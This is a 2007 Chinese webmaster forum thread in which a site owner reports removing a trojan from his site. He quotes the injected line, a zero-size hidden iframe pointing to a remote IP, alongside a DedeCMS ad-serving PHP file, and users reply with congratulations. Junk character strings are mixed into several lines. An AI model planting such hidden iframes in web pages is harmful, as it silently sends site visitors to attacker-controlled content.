webmasterz.cn的木馬已經差不多被我搞定了 講解一個停放EMU方法

請大家再去幫我複查下，看還有沒木馬，另外前年的教程已經免費發佈上去了，自己去下或者看。
( s+ b! l, K% U2 Y: }
: R! R9 V- y% X! W" w) j掛馬的人不是專業黑客，是搞這行的，把我的JS裡加了個這個
  ]: N5 o6 n" K6 O4 S8 V
  F8 j( D% I. \$ q+ Y5 f1 u/ }" sdocument.write("<iframe src=http://58.211.79.107/xs.htm?88 width=0 height=0></iframe>");
! U  w! Z* Y) S. U# T3 J<?php
# m" U+ X# `5 f& q' x2 c& `* t- ~require(dirname(__FILE__)."/../include/config_base.php");
$aid = ereg_replace("[^0-9]","",$aid);
$dsql = new DedeSql(false);
$row = $dsql->GetOne("Select * From [email=#@__myad]#@__myad[/email] where aid='$aid'");
$dsql->Close();
& j8 f* W9 K( [* h5 hif($row['timeset']==0) $adbody = $row['normbody'];
; _, S% N+ e4 F5 z3 @0 {8 belse{
$ntime = mytime();
if($ntime>$row['endtime']||$ntime<$row['starttime']){ $adbody = $row['expbody']; }
else{ $adbody = $row['normbody']; }
( `" ^# ^! g$ U4 G}
: F$ o% ?, S( _8 X0 U$ x$adbody = str_replace('"','\"',$adbody);
+ L7 }1 D8 w* ~8 I! A0 Q$adbody = str_replace("\r","\\r",$adbody);
$adbody = str_replace("\n","\\n",$adbody);
echo "<!--\r\n";
6 ?7 R& _7 ]/ M% w! F# e: G; becho "document.write(\"{$adbody}\");\r\n";
echo "-->\r\n";
?>
- L+ F. m; H3 n7 R

% O2 c! r% ^+ ~1 c( h自己看第一行 根據這個去找他到底想幹什麼吧 其實意圖很明顯的，一是玩計數器，二是做停放

國內的停放？

嗯，不錯，恭喜！

靜水老大厲害.

查到就好啦:cool:

這些人沒意思曬。或許是眼紅，

老大還是反應很迅速的，一下就發現了，沒有要我賺到2000論壇幣

原帖由 ommofans 於 2007-10-30 10:24 發表
老大還是反應很迅速的，一下就發現了，沒有要我賺到2000論壇幣

1 `- Q) S2 F+ q; p; H" r7 g& m: 以後得抓緊啦

: 以後你放我報告。來賺幣。